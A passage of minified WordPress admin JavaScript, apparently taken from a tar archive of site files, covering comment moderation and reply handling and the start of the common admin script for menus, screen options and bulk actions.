tr:visible").length||theList.get(0).wpList.add(theExtraList.find(".no-items").clone())},(u=w(":animated","#the-comment-list")).length?u.promise().done(m):m())},_=function(t){var e=w.query.get(),n=w(".total-pages").text(),a=w('input[name="_per_page"]',"#comments-form").val();e.paged||(e.paged=1),e.paged>n||(t?(theExtraList.empty(),e.number=Math.min(8,a)):(e.number=1,e.offset=Math.min(8,a)-1),e.no_placeholder=!0,e.paged++,!0===e.comment_type&&(e.comment_type=""),e=w.extend(e,{action:"fetch-list",list_args:list_args,_ajax_fetch_list_nonce:w("#_ajax_fetch_list_nonce").val()}),w.ajax({url:ajaxurl,global:!1,dataType:"json",data:e,success:function(t){theExtraList.get(0).wpList.add(t.rows)}}))};window.theExtraList=w("#the-extra-comment-list").wpList({alt:"",delColor:"none",addColor:"none"}),window.theList=w("#the-comment-list").wpList({alt:"",delBefore:e,dimAfter:t,delAfter:n,addColor:"none"}).on("wpListDelEnd",function(t,e){var n=w(e.target).attr("data-wp-lists"),e=e.element.replace(/[^0-9]+/g,"");-1==n.indexOf(":trash=1")&&-1==n.indexOf(":spam=1")||w("#undo-"+e).fadeIn(300,function(){w(this).show()})})},window.commentReply={cid:"",act:"",originalContent:"",init:function(){var t=w("#replyrow");w(".cancel",t).on("click",function(){return commentReply.revert()}),w(".save",t).on("click",function(){return commentReply.send()}),w("input#author-name, input#author-email, input#author-url",t).on("keypress",function(t){if(13==t.which)return commentReply.send(),t.preventDefault(),!1}),w("#the-comment-list .column-comment > p").on("dblclick",function(){commentReply.toggle(w(this).parent())}),w("#doaction, #post-query-submit").on("click",function(){0<w("#the-comment-list #replyrow").length&&commentReply.close()}),this.comments_listing=w('#comments-form > input[name="comment_status"]').val()||""},addEvents:function(t){t.each(function(){w(this).find(".column-comment > p").on("dblclick",function(){commentReply.toggle(w(this).parent())})})},toggle:function(t){"none"!==w(t).css("display")&&(w("#replyrow").parent().is("#com-reply")||window.confirm(c("Are you sure you want to edit this comment?\nThe changes you made will be lost.")))&&w(t).find("button.vim-q").trigger("click")},revert:function(){if(w("#the-comment-list #replyrow").length<1)return!1;w("#replyrow").fadeOut("fast",function(){commentReply.close()})},close:function(){var t=w(),e=w("#replyrow");e.parent().is("#com-reply")||(this.cid&&(t=w("#comment-"+this.cid)),"edit-comment"===this.act&&t.fadeIn(300,function(){t.show().find(".vim-q").attr("aria-expanded","false").trigger("focus")}).css("backgroundColor",""),"replyto-comment"===this.act&&t.find(".vim-r").attr("aria-expanded","false").trigger("focus"),"undefined"!=typeof QTags&&QTags.closeAllTags("replycontent"),w("#add-new-comment").css("display",""),e.hide(),w("#com-reply").append(e),w("#replycontent").css("height","").val(""),w("#edithead input").val(""),w(".notice-error",e).addClass("hidden").find(".error").empty(),w(".spinner",e).removeClass("is-active"),this.cid="",this.originalContent="")},open:function(t,e,n){var a,o,s,i,r=w("#comment-"+t),l=r.height();return this.discardCommentChanges()&&(this.close(),this.cid=t,a=w("#replyrow"),o=w("#inline-"+t),s=this.act=("edit"==(n=n||"replyto")?"edit":"replyto")+"-comment",this.originalContent=w("textarea.comment",o).val(),i=w("> th:visible, > td:visible",r).length,a.hasClass("inline-edit-row")&&0!==i&&w("td",a).attr("colspan",i),w("#action",a).val(s),w("#comment_post_ID",a).val(e),w("#comment_ID",a).val(t),"edit"==n?(w("#author-name",a).val(w("div.author",o).text()),w("#author-email",a).val(w("div.author-email",o).text()),w("#author-url",a).val(w("div.author-url",o).text()),w("#status",a).val(w("div.comment_status",o).text()),w("#replycontent",a).val(w("textarea.comment",o).val()),w("#edithead, #editlegend, #savebtn",a).show(),w("#replyhead, #replybtn, #addhead, #addbtn",a).hide(),120<l&&(i=500<l?500:l,w("#replycontent",a).css("height",i+"px")),r.after(a).fadeOut("fast",function(){w("#replyrow").fadeIn(300,function(){w(this).show()})})):"add"==n?(w("#addhead, #addbtn",a).show(),w("#replyhead, #replybtn, #edithead, #editlegend, #savebtn",a).hide(),w("#the-comment-list").prepend(a),w("#replyrow").fadeIn(300)):(s=w("#replybtn",a),w("#edithead, #editlegend, #savebtn, #addhead, #addbtn",a).hide(),w("#replyhead, #replybtn",a).show(),r.after(a),r.hasClass("unapproved")?s.text(c("Approve and Reply")):s.text(d("Reply","verb")),w("#replyrow").fadeIn(300,function(){w(this).show()})),setTimeout(function(){var e=!1,n=!1,t=w("#replyrow").offset().top,a=t+w("#replyrow").height(),o=window.pageYOffset||document.documentElement.scrollTop,s=document.documentElement.clientHeight||window.innerHeight||0;o+s-20<a?window.scroll(0,a-s+35):t-20<o&&window.scroll(0,t-35),w("#replycontent").trigger("focus").on("contextmenu keydown",function(t){"contextmenu"===t.type&&(n=!0),"keydown"===t.type&&27===t.which&&(n=n&&!1)}).on("keyup",function(t){27!==t.which||e||n||commentReply.revert()}).on("compositionstart",function(){e=!0})},600)),!1},send:function(){var e={};w("#replysubmit .error-notice").addClass("hidden"),w("#replysubmit .spinner").addClass("is-active"),w("#replyrow input").not(":button").each(function(){var t=w(this);e[t.attr("name")]=t.val()}),e.content=w("#replycontent").val(),e.id=e.comment_post_ID,e.comments_listing=this.comments_listing,e.p=w('[name="p"]').val(),w("#comment-"+w("#comment_ID").val()).hasClass("unapproved")&&(e.approve_parent=1),w.ajax({type:"POST",url:ajaxurl,data:e,success:function(t){commentReply.show(t)},error:function(t){commentReply.error(t)}})},show:function(t){var e,n,a,o=this;return"string"==typeof t?(o.error({responseText:t}),!1):(t=wpAjax.parseAjaxResponse(t)).errors?(o.error({responseText:wpAjax.broken}),!1):(o.revert(),e="#comment-"+(t=t.responses[0]).id,"edit-comment"==o.act&&w(e).remove(),void(t.supplemental.parent_approved&&(a=w("#comment-"+t.supplemental.parent_approved),I(-1,t.supplemental.parent_post_id),"moderated"==this.comments_listing)?a.animate({backgroundColor:"#CCEEBB"},400,function(){a.fadeOut()}):(t.supplemental.i18n_comments_text&&(E(t.supplemental),R(t.supplemental),b(1,t.supplemental.parent_post_id),k("span.all-count",1)),t.data=t.data||"",t=t.data.toString().trim(),w(t).hide(),w("#replyrow").after(t),e=w(e),o.addEvents(e),n=e.hasClass("unapproved")?"#FFFFE0":e.closest(".widefat, .postbox").css("backgroundColor"),e.animate({backgroundColor:"#CCEEBB"},300).animate({backgroundColor:n},300,function(){a&&a.length&&a.animate({backgroundColor:"#CCEEBB"},300).animate({backgroundColor:n},300).removeClass("unapproved").addClass("approved").find("div.comment_status").html("1")}))))},error:function(t){var e=t.statusText,n=w("#replysubmit .notice-error"),a=n.find(".error");w("#replysubmit .spinner").removeClass("is-active"),(e=t.responseText?t.responseText.replace(/<.[^<>]*?>/g,""):e)&&(n.removeClass("hidden"),a.html(e),wp.a11y.speak(e))},addcomment:function(t){var e=this;w("#add-new-comment").fadeOut(200,function(){e.open(0,t,"add"),w("table.comments-box").css("display",""),w("#no-comments").remove()})},discardCommentChanges:function(){var t=w("#replyrow");return""===w("#replycontent",t).val()||this.originalContent===w("#replycontent",t).val()||window.confirm(c("Are you sure you want to do this?\nThe comment changes you made will be lost."))}},w(function(){var t,e,n,a;setCommentsList(),commentReply.init(),w(document).on("click","span.delete a.delete",function(t){t.preventDefault()}),void 0!==w.table_hotkeys&&(t=function(n){return function(){var t="next"==n?"first":"last",e=w(".tablenav-pages ."+n+"-page:not(.disabled)");e.length&&(window.location=e[0].href.replace(/\&hotkeys_highlight_(first|last)=1/g,"")+"&hotkeys_highlight_"+t+"=1")}},e=function(t,e){window.location=w("span.edit a",e).attr("href")},n=function(){w("#cb-select-all-1").data("wp-toggle",1).trigger("click").removeData("wp-toggle")},a=function(e){return function(){var t=w('select[name="action"]');w('option[value="'+e+'"]',t).prop("selected",!0),w("#doaction").trigger("click")}},w.table_hotkeys(w("table.widefat"),["a","u","s","d","r","q","z",["e",e],["shift+x",n],["shift+a",a("approve")],["shift+s",a("spam")],["shift+d",a("delete")],["shift+t",a("trash")],["shift+z",a("untrash")],["shift+u",a("unapprove")]],{highlight_first:adminCommentsSettings.hotkeys_highlight_first,highlight_last:adminCommentsSettings.hotkeys_highlight_last,prev_page_link_cb:t("prev"),next_page_link_cb:t("next"),hotkeys_opts:{disableInInput:!0,type:"keypress",noDisable:'.check-column input[type="checkbox"]'},cycle_expr:"#the-comment-list tr",start_row_index:0})),w("#the-comment-list").on("click",".comment-inline",function(){var t=w(this),e="replyto";void 0!==t.data("action")&&(e=t.data("action")),w(this).attr("aria-expanded","true"),commentReply.open(t.data("commentId"),t.data("postId"),e)})})}(jQuery); js/common.min.js 0000644 00000056322 15233246127 0007605 0 ustar 00 /*! This file is auto-generated */ !function(B,W){var $=B(document),H=B(W),q=B(document.body),Q=wp.i18n.__,i=wp.i18n.sprintf;function r(e,t,n){n=void 0!==n?i(Q("%1$s is deprecated since version %2$s! Use %3$s instead."),e,t,n):i(Q("%1$s is deprecated since version %2$s with no alternative available."),e,t);W.console.warn(n)}function e(i,o,a){var s={};return Object.keys(o).forEach(function(e){var t=o[e],n=i+"."+e;"object"==typeof t?Object.defineProperty(s,e,{get:function(){return r(n,a,t.alternative),t.func()}}):Object.defineProperty(s,e,{get:function(){return r(n,a,"wp.i18n"),t}})}),s}W.wp.deprecateL10nObject=e,W.commonL10n=W.commonL10n||{warnDelete:"",dismiss:"",collapseMenu:"",expandMenu:""},W.commonL10n=e("commonL10n",W.commonL10n,"5.5.0"),W.wpPointerL10n=W.wpPointerL10n||{dismiss:""},W.wpPointerL10n=e("wpPointerL10n",W.wpPointerL10n,"5.5.0"),W.userProfileL10n=W.userProfileL10n||{warn:"",warnWeak:"",show:"",hide:"",cancel:"",ariaShow:"",ariaHide:""},W.userProfileL10n=e("userProfileL10n",W.userProfileL10n,"5.5.0"),W.privacyToolsL10n=W.privacyToolsL10n||{noDataFound:"",foundAndRemoved:"",noneRemoved:"",someNotRemoved:"",removalError:"",emailSent:"",noExportFile:"",exportError:""},W.privacyToolsL10n=e("privacyToolsL10n",W.privacyToolsL10n,"5.5.0"),W.authcheckL10n={beforeunload:""},W.authcheckL10n=W.authcheckL10n||e("authcheckL10n",W.authcheckL10n,"5.5.0"),W.tagsl10n={noPerm:"",broken:""},W.tagsl10n=W.tagsl10n||e("tagsl10n",W.tagsl10n,"5.5.0"),W.adminCommentsL10n=W.adminCommentsL10n||{hotkeys_highlight_first:{alternative:"window.adminCommentsSettings.hotkeys_highlight_first",func:function(){return W.adminCommentsSettings.hotkeys_highlight_first}},hotkeys_highlight_last:{alternative:"window.adminCommentsSettings.hotkeys_highlight_last",func:function(){return W.adminCommentsSettings.hotkeys_highlight_last}},replyApprove:"",reply:"",warnQuickEdit:"",warnCommentChanges:"",docTitleComments:"",docTitleCommentsCount:""},W.adminCommentsL10n=e("adminCommentsL10n",W.adminCommentsL10n,"5.5.0"),W.tagsSuggestL10n=W.tagsSuggestL10n||{tagDelimiter:"",removeTerm:"",termSelected:"",termAdded:"",termRemoved:""},W.tagsSuggestL10n=e("tagsSuggestL10n",W.tagsSuggestL10n,"5.5.0"),W.wpColorPickerL10n=W.wpColorPickerL10n||{clear:"",clearAriaLabel:"",defaultString:"",defaultAriaLabel:"",pick:"",defaultLabel:""},W.wpColorPickerL10n=e("wpColorPickerL10n",W.wpColorPickerL10n,"5.5.0"),W.attachMediaBoxL10n=W.attachMediaBoxL10n||{error:""},W.attachMediaBoxL10n=e("attachMediaBoxL10n",W.attachMediaBoxL10n,"5.5.0"),W.postL10n=W.postL10n||{ok:"",cancel:"",publishOn:"",publishOnFuture:"",publishOnPast:"",dateFormat:"",showcomm:"",endcomm:"",publish:"",schedule:"",update:"",savePending:"",saveDraft:"",private:"",public:"",publicSticky:"",password:"",privatelyPublished:"",published:"",saveAlert:"",savingText:"",permalinkSaved:""},W.postL10n=e("postL10n",W.postL10n,"5.5.0"),W.inlineEditL10n=W.inlineEditL10n||{error:"",ntdeltitle:"",notitle:"",comma:"",saved:""},W.inlineEditL10n=e("inlineEditL10n",W.inlineEditL10n,"5.5.0"),W.plugininstallL10n=W.plugininstallL10n||{plugin_information:"",plugin_modal_label:"",ays:""},W.plugininstallL10n=e("plugininstallL10n",W.plugininstallL10n,"5.5.0"),W.navMenuL10n=W.navMenuL10n||{noResultsFound:"",warnDeleteMenu:"",saveAlert:"",untitled:""},W.navMenuL10n=e("navMenuL10n",W.navMenuL10n,"5.5.0"),W.commentL10n=W.commentL10n||{submittedOn:"",dateFormat:""},W.commentL10n=e("commentL10n",W.commentL10n,"5.5.0"),W.setPostThumbnailL10n=W.setPostThumbnailL10n||{setThumbnail:"",saving:"",error:"",done:""},W.setPostThumbnailL10n=e("setPostThumbnailL10n",W.setPostThumbnailL10n,"5.5.0"),W.uiAutocompleteL10n=W.uiAutocompleteL10n||{noResults:"",oneResult:"",manyResults:"",itemSelected:""},W.uiAutocompleteL10n=e("uiAutocompleteL10n",W.uiAutocompleteL10n,"6.5.0"),W.adminMenu={init:function(){},fold:function(){},restoreMenuState:function(){},toggle:function(){},favorites:function(){}},W.columns={init:function(){var n=this;B(".hide-column-tog","#adv-settings").on("click",function(){var e=B(this),t=e.val();e.prop("checked")?n.checked(t):n.unchecked(t),columns.saveManageColumnsState()})},saveManageColumnsState:function(){var e=this.hidden();B.post(ajaxurl,{action:"hidden-columns",hidden:e,screenoptionnonce:B("#screenoptionnonce").val(),page:pagenow},function(){wp.a11y.speak(Q("Screen Options updated."))})},checked:function(e){B(".column-"+e).removeClass("hidden"),this.colSpanChange(1)},unchecked:function(e){B(".column-"+e).addClass("hidden"),this.colSpanChange(-1)},hidden:function(){return B(".manage-column[id]").filter(".hidden").map(function(){return this.id}).get().join(",")},useCheckboxesForHidden:function(){this.hidden=function(){return B(".hide-column-tog").not(":checked").map(function(){var e=this.id;return e.substring(e,e.length-5)}).get().join(",")}},colSpanChange:function(e){var t=B("table").find(".colspanchange");t.length&&(e=parseInt(t.attr("colspan"),10)+e,t.attr("colspan",e.toString()))}},B(function(){columns.init()}),W.validateForm=function(e){return!B(e).find(".form-required").filter(function(){return""===B(":input:visible",this).val()}).addClass("form-invalid").find(":input:visible").on("change",function(){B(this).closest(".form-invalid").removeClass("form-invalid")}).length},W.showNotice={warn:function(){return!!confirm(Q("You are about to permanently delete these items from your site.\nThis action cannot be undone.\n'Cancel' to stop, 'OK' to delete."))},note:function(e){alert(e)}},W.screenMeta={element:null,toggles:null,page:null,init:function(){this.element=B("#screen-meta"),this.toggles=B("#screen-meta-links").find(".show-settings"),this.page=B("#wpcontent"),this.toggles.on("click",this.toggleEvent)},toggleEvent:function(){var e=B("#"+B(this).attr("aria-controls"));e.length&&(e.is(":visible")?screenMeta.close(e,B(this)):screenMeta.open(e,B(this)))},open:function(e,t){B("#screen-meta-links").find(".screen-meta-toggle").not(t.parent()).css("visibility","hidden"),e.parent().show(),e.slideDown("fast",function(){e.removeClass("hidden").trigger("focus"),t.addClass("screen-meta-active").attr("aria-expanded",!0)}),$.trigger("screen:options:open")},close:function(e,t){e.slideUp("fast",function(){t.removeClass("screen-meta-active").attr("aria-expanded",!1),B(".screen-meta-toggle").css("visibility",""),e.parent().hide(),e.addClass("hidden")}),$.trigger("screen:options:close")}},B(".contextual-help-tabs").on("click","a",function(e){var t=B(this);if(e.preventDefault(),t.is(".active a"))return!1;B(".contextual-help-tabs .active").removeClass("active"),t.parent("li").addClass("active"),e=B(t.attr("href")),B(".help-tab-content").not(e).removeClass("active").hide(),e.addClass("active").show()});var t,a=!1,s=B("#permalink_structure"),n=B(".permalink-structure input:radio"),l=B("#custom_selection"),o=B(".form-table.permalink-structure .available-structure-tags button");function c(e){-1!==s.val().indexOf(e.text().trim())?(e.attr("data-label",e.attr("aria-label")),e.attr("aria-label",e.attr("data-used")),e.attr("aria-pressed",!0),e.addClass("active")):e.attr("data-label")&&(e.attr("aria-label",e.attr("data-label")),e.attr("aria-pressed",!1),e.removeClass("active"))}function d(){$.trigger("wp-window-resized")}n.on("change",function(){"custom"!==this.value&&(s.val(this.value),o.each(function(){c(B(this))}))}),s.on("click input",function(){l.prop("checked",!0)}),s.on("focus",function(e){a=!0,B(this).off(e)}),o.each(function(){c(B(this))}),s.on("change",function(){o.each(function(){c(B(this))})}),o.on("click",function(){var e=s.val(),t=s[0].selectionStart,n=s[0].selectionEnd,i=B(this).text().trim(),o=B(this).hasClass("active")?B(this).attr("data-removed"):B(this).attr("data-added");-1!==e.indexOf(i)?(e=e.replace(i+"/",""),s.val("/"===e?"":e),B("#custom_selection_updated").text(o),c(B(this))):(a||0!==t||0!==n||(t=n=e.length),l.prop("checked",!0),"/"!==e.substr(0,t).substr(-1)&&(i="/"+i),"/"!==e.substr(n,1)&&(i+="/"),s.val(e.substr(0,t)+i+e.substr(n)),B("#custom_selection_updated").text(o),c(B(this)),a&&s[0].setSelectionRange&&(n=(e.substr(0,t)+i).length,s[0].setSelectionRange(n,n),s.trigger("focus")))}),B(function(){var n,i,o,a,e,t,s,r=!1,l=B("input.current-page"),z=l.val(),c=/iPhone|iPad|iPod/.test(navigator.userAgent),R=-1!==navigator.userAgent.indexOf("Android"),d=B("#adminmenuwrap"),u=B("#wpwrap"),p=B("#adminmenu"),m=B("#wp-responsive-overlay"),h=B("#wp-toolbar"),f=h.find('a[aria-haspopup="true"]'),g=B(".meta-box-sortables"),v=!1,b=B("#wpadminbar"),w=0,k=!1,y=!1,C=0,L=!1,x={window:H.height(),wpwrap:u.height(),adminbar:b.height(),menu:d.height()},S=B(".wp-header-end");function A(e){var t=e.find(".wp-submenu"),e=e.offset().top,n=H.scrollTop(),i=e-n-30,e=e+t.height()+1,o=60+e-u.height(),n=H.height()+n-50;1<(o=i<(o=n<e-o?e-n:o)?i:o)&&B("#wp-admin-bar-menu-toggle").is(":hidden")?t.css("margin-top","-"+o+"px"):t.css("margin-top","")}function P(){B(".notice.is-dismissible").each(function(){var t=B(this),e=B('<button type="button" class="notice-dismiss"><span class="screen-reader-text"></span></button>');t.find(".notice-dismiss").length||(e.find(".screen-reader-text").text(Q("Dismiss this notice.")),e.on("click.wp-dismiss-notice",function(e){e.preventDefault(),t.fadeTo(100,0,function(){t.slideUp(100,function(){t.remove()})})}),t.append(e))})}function T(e,t,n,i){n.on("change",function(){e.val(B(this).val())}),e.on("change",function(){n.val(B(this).val())}),i.on("click",function(e){e.preventDefault(),e.stopPropagation(),t.trigger("click")})}p.on("click.wp-submenu-head",".wp-submenu-head",function(e){B(e.target).parent().siblings("a").get(0).click()}),B("#collapse-button").on("click.collapse-menu",function(){var e=I()||961;B("#adminmenu div.wp-submenu").css("margin-top",""),s=e<=960?q.hasClass("auto-fold")?(q.removeClass("auto-fold").removeClass("folded"),setUserSetting("unfold",1),setUserSetting("mfold","o"),"open"):(q.addClass("auto-fold"),setUserSetting("unfold",0),"folded"):q.hasClass("folded")?(q.removeClass("folded"),setUserSetting("mfold","o"),"open"):(q.addClass("folded"),setUserSetting("mfold","f"),"folded"),$.trigger("wp-collapse-menu",{state:s})}),("ontouchstart"in W||/IEMobile\/[1-9]/.test(navigator.userAgent))&&(q.on((E=c?"touchstart":"click")+".wp-mobile-hover",function(e){p.data("wp-responsive")||B(e.target).closest("#adminmenu").length||p.find("li.opensub").removeClass("opensub")}),p.find("a.wp-has-submenu").on(E+".wp-mobile-hover",function(e){var t=B(this).parent();p.data("wp-responsive")||t.hasClass("opensub")||t.hasClass("wp-menu-open")&&!(t.width()<40)||(e.preventDefault(),A(t),p.find("li.opensub").removeClass("opensub"),t.addClass("opensub"))})),c||R||(p.find("li.wp-has-submenu").hoverIntent({over:function(){var e=B(this),t=e.find(".wp-submenu"),t=parseInt(t.css("top"),10);isNaN(t)||-5<t||p.data("wp-responsive")||(A(e),p.find("li.opensub").removeClass("opensub"),e.addClass("opensub"))},out:function(){p.data("wp-responsive")||B(this).removeClass("opensub").find(".wp-submenu").css("margin-top","")},timeout:200,sensitivity:7,interval:90}),p.on("focus.adminmenu",".wp-submenu a",function(e){p.data("wp-responsive")||B(e.target).closest("li.menu-top").addClass("opensub")}).on("blur.adminmenu",".wp-submenu a",function(e){p.data("wp-responsive")||B(e.target).closest("li.menu-top").removeClass("opensub")}).find("li.wp-has-submenu.wp-not-current-submenu").on("focusin.adminmenu",function(){A(B(this))})),S.length||(S=B(".wrap h1, .wrap h2").first()),B("div.updated, div.error, div.notice").not(".inline, .below-h2").insertAfter(S),$.on("wp-updates-notice-added wp-plugin-install-error wp-plugin-update-error wp-plugin-delete-error wp-theme-install-error wp-theme-delete-error wp-notice-added",P),screenMeta.init(),q.on("click","tbody > tr > .check-column :checkbox",function(e){if("undefined"!=e.shiftKey){if(e.shiftKey){if(!r)return!0;n=B(r).closest("form").find(":checkbox").filter(":visible:enabled"),i=n.index(r),o=n.index(this),a=B(this).prop("checked"),0<i&&0<o&&i!=o&&(i<o?n.slice(i,o):n.slice(o,i)).prop("checked",function(){return!!B(this).closest("tr").is(":visible")&&a})}var t=B(r=this).closest("tbody").find("tr").find(":checkbox").filter(":visible:enabled").not(":checked");B(this).closest("table").children("thead, tfoot").find(":checkbox").prop("checked",function(){return 0===t.length})}return!0}),q.on("click.wp-toggle-checkboxes","thead .check-column :checkbox, tfoot .check-column :checkbox",function(e){var t=B(this),n=t.closest("table"),i=t.prop("checked"),o=e.shiftKey||t.data("wp-toggle");n.children("tbody").filter(":visible").children().children(".check-column").find(":checkbox").prop("checked",function(){return!B(this).is(":hidden,:disabled")&&(o?!B(this).prop("checked"):!!i)}),n.children("thead, tfoot").filter(":visible").children().children(".check-column").find(":checkbox").prop("checked",function(){return!o&&!!i})}),T(B("#bulk-action-selector-top"),B("#doaction"),B("#bulk-action-selector-bottom"),B("#doaction2")),T(B("#new_role"),B("#changeit"),B("#new_role2"),B("#changeit2"));var M,_,E;function D(){M.prop("disabled",""===_.map(function(){return B(this).val()}).get().join(""))}function N(e){var t=H.scrollTop(),e=!e||"scroll"!==e.type;if(!c&&!p.data("wp-responsive"))if(x.menu+x.adminbar<x.window||x.menu+x.adminbar+20>x.wpwrap)O();else{if(L=!0,x.menu+x.adminbar>x.window){if(t<0)return void(k||(y=!(k=!0),d.css({position:"fixed",top:"",bottom:""})));if(t+x.window>$.height()-1)return void(y||(k=!(y=!0),d.css({position:"fixed",top:"",bottom:0})));w<t?k?(k=!1,(C=d.offset().top-x.adminbar-(t-w))+x.menu+x.adminbar<t+x.window&&(C=t+x.window-x.menu-x.adminbar),d.css({position:"absolute",top:C,bottom:""})):!y&&d.offset().top+x.menu<t+x.window&&(y=!0,d.css({position:"fixed",top:"",bottom:0})):t<w?y?(y=!1,(C=d.offset().top-x.adminbar+(w-t))+x.menu>t+x.window&&(C=t),d.css({position:"absolute",top:C,bottom:""})):!k&&d.offset().top>=t+x.adminbar&&(k=!0,d.css({position:"fixed",top:"",bottom:""})):e&&(k=y=!1,0<(C=t+x.window-x.menu-x.adminbar-1)?d.css({position:"absolute",top:C,bottom:""}):O())}w=t}}function F(){x={window:H.height(),wpwrap:u.height(),adminbar:b.height(),menu:d.height()}}function O(){!c&&L&&(k=y=L=!1,d.css({position:"",top:"",bottom:""}))}function j(){F(),p.data("wp-responsive")?(q.removeClass("sticky-menu"),O()):x.menu+x.adminbar>x.window?(N(),q.removeClass("sticky-menu")):(q.addClass("sticky-menu"),O())}function U(){B(".aria-button-if-js").attr("role","button")}function I(){var e=!1;return e=W.innerWidth?Math.max(W.innerWidth,document.documentElement.clientWidth):e}function K(){var e=I()||961;s=e<=782?"responsive":q.hasClass("folded")||q.hasClass("auto-fold")&&e<=960&&782<e?"folded":"open",$.trigger("wp-menu-state-set",{state:s})}B(".bulkactions").parents("form").on("submit",function(e){var t=!(!e.originalEvent||!e.originalEvent.submitter)&&e.originalEvent.submitter.name,n=this.querySelector("#current-page-selector");if(!n||n.defaultValue===n.value){n={bulk_action:W.bulkActionObserverIds.bulk_action,changeit:W.bulkActionObserverIds.changeit};if(Object.keys(n).includes(t)){n=new FormData(this).get(n[t])||"-1";if("-1"!==n)if(0<this.querySelectorAll('.wp-list-table tbody .check-column input[type="checkbox"]:checked').length)return;e.preventDefault(),e.stopPropagation(),B("html, body").animate({scrollTop:0});var i,o,t=Q("-1"!==n?"Please select at least one item to perform this action on.":"Please select a bulk action to perform.");n=B((e={id:"-1"!==n?"no-items-selected":"no-bulk-action-selected",type:"error",message:t,dismissible:!0}).selector),o=B(".wp-header-end"),delete e.selector,i=e.dismissible&&!0===e.dismissible?" is-dismissible":"",i='<div id="'+e.id+'" class="notice notice-'+e.type+i+'"><p>'+e.message+"</p></div>",(n=n.length?n:B("#"+e.id)).length?n.replaceWith(i):o.length?o.after(i):"customize"===pagenow?B(".customize-themes-notifications").append(i):B(".wrap").find("> h1").after(i),$.trigger("wp-notice-added"),wp.a11y.speak(t)}}}),B("#wpbody-content").on({focusin:function(){clearTimeout(e),t=B(this).find(".row-actions"),B(".row-actions").not(this).removeClass("visible"),t.addClass("visible")},focusout:function(){e=setTimeout(function(){t.removeClass("visible")},30)}},".table-view-list .has-row-actions"),B("tbody").on("click",".toggle-row",function(){B(this).closest("tr").toggleClass("is-expanded")}),B("#default-password-nag-no").on("click",function(){return setUserSetting("default_password_nag","hide"),B("div.default-password-nag").hide(),!1}),B("#newcontent").on("keydown.wpevent_InsertTab",function(e){var t,n,i,o,a=e.target;27==e.keyCode?(e.preventDefault(),B(a).data("tab-out",!0)):9!=e.keyCode||e.ctrlKey||e.altKey||e.shiftKey||(B(a).data("tab-out")?B(a).data("tab-out",!1):(t=a.selectionStart,n=a.selectionEnd,i=a.value,document.selection?(a.focus(),document.selection.createRange().text="\t"):0<=t&&(o=this.scrollTop,a.value=i.substring(0,t).concat("\t",i.substring(n)),a.selectionStart=a.selectionEnd=t+1,this.scrollTop=o),e.stopPropagation&&e.stopPropagation(),e.preventDefault&&e.preventDefault()))}),l.length&&l.closest("form").on("submit",function(){-1==B('select[name="action"]').val()&&l.val()==z&&l.val("1")}),B('.search-box input[type="search"], .search-box input[type="submit"]').on("mousedown",function(){B('select[name^="action"]').val("-1")}),B("#contextual-help-link, #show-settings-link").on("focus.scroll-into-view",function(e){e.target.scrollIntoViewIfNeeded&&e.target.scrollIntoViewIfNeeded(!1)}),(E=B("form.wp-upload-form")).length&&(M=E.find('input[type="submit"]'),_=E.find('input[type="file"]'),D(),_.on("change",D)),c||(H.on("scroll.pin-menu",N),$.on("tinymce-editor-init.pin-menu",function(e,t){t.on("wp-autoresize",F)})),W.wpResponsive={init:function(){var e=this;this.maybeDisableSortables=this.maybeDisableSortables.bind(this),$.on("wp-responsive-activate.wp-responsive",function(){e.activate(),e.toggleAriaHasPopup("add")}).on("wp-responsive-deactivate.wp-responsive",function(){e.deactivate(),e.toggleAriaHasPopup("remove")}),B("#wp-admin-bar-menu-toggle a").attr("aria-expanded","false"),B("#wp-admin-bar-menu-toggle").on("click.wp-responsive",function(e){e.preventDefault(),b.find(".hover").removeClass("hover"),u.toggleClass("wp-responsive-open"),u.hasClass("wp-responsive-open")?(B(this).find("a").attr("aria-expanded","true"),B("#adminmenu a:first").trigger("focus")):B(this).find("a").attr("aria-expanded","false")}),B(document).on("click",function(e){var t;u.hasClass("wp-responsive-open")&&document.hasFocus()&&(t=B.contains(B("#wp-admin-bar-menu-toggle")[0],e.target),e=B.contains(B("#adminmenuwrap")[0],e.target),t||e||B("#wp-admin-bar-menu-toggle").trigger("click.wp-responsive"))}),B(document).on("keyup",function(e){var n,i,o=B("#wp-admin-bar-menu-toggle")[0];u.hasClass("wp-responsive-open")&&(27===e.keyCode?(B(o).trigger("click.wp-responsive"),B(o).find("a").trigger("focus")):9===e.keyCode&&(n=B("#adminmenuwrap")[0],i=e.relatedTarget||document.activeElement,setTimeout(function(){var e=B.contains(o,i),t=B.contains(n,i);e||t||B(o).trigger("click.wp-responsive")},10)))}),p.on("click.wp-responsive","li.wp-has-submenu > a",function(e){var t;p.data("wp-responsive")&&(t="false"===B(this).attr("aria-expanded")?"true":"false",B(this).parent("li").toggleClass("selected"),B(this).attr("aria-expanded",t),B(this).trigger("focus"),e.preventDefault())}),e.trigger(),$.on("wp-window-resized.wp-responsive",this.trigger.bind(this)),H.on("load.wp-responsive",this.maybeDisableSortables),$.on("postbox-toggled",this.maybeDisableSortables),B("#screen-options-wrap input").on("click",this.maybeDisableSortables)},maybeDisableSortables:function(){(-1<navigator.userAgent.indexOf("AppleWebKit/")?H.width():W.innerWidth)<=782||g.find(".ui-sortable-handle:visible").length<=1&&jQuery(".columns-prefs-1 input").prop("checked")?this.disableSortables():this.enableSortables()},activate:function(){j(),q.hasClass("auto-fold")||q.addClass("auto-fold"),p.data("wp-responsive",1),this.disableSortables()},deactivate:function(){j(),p.removeData("wp-responsive"),this.maybeDisableSortables()},toggleAriaHasPopup:function(e){var t=p.find("[data-ariahaspopup]");"add"===e?t.each(function(){B(this).attr("aria-haspopup","menu").attr("aria-expanded","false")}):t.each(function(){B(this).removeAttr("aria-haspopup").removeAttr("aria-expanded")})},trigger:function(){var e=I();e&&(e<=782?v||($.trigger("wp-responsive-activate"),v=!0):v&&($.trigger("wp-responsive-deactivate"),v=!1),e<=480?this.enableOverlay():this.disableOverlay(),this.maybeDisableSortables())},enableOverlay:function(){0===m.length&&(m=B('<div 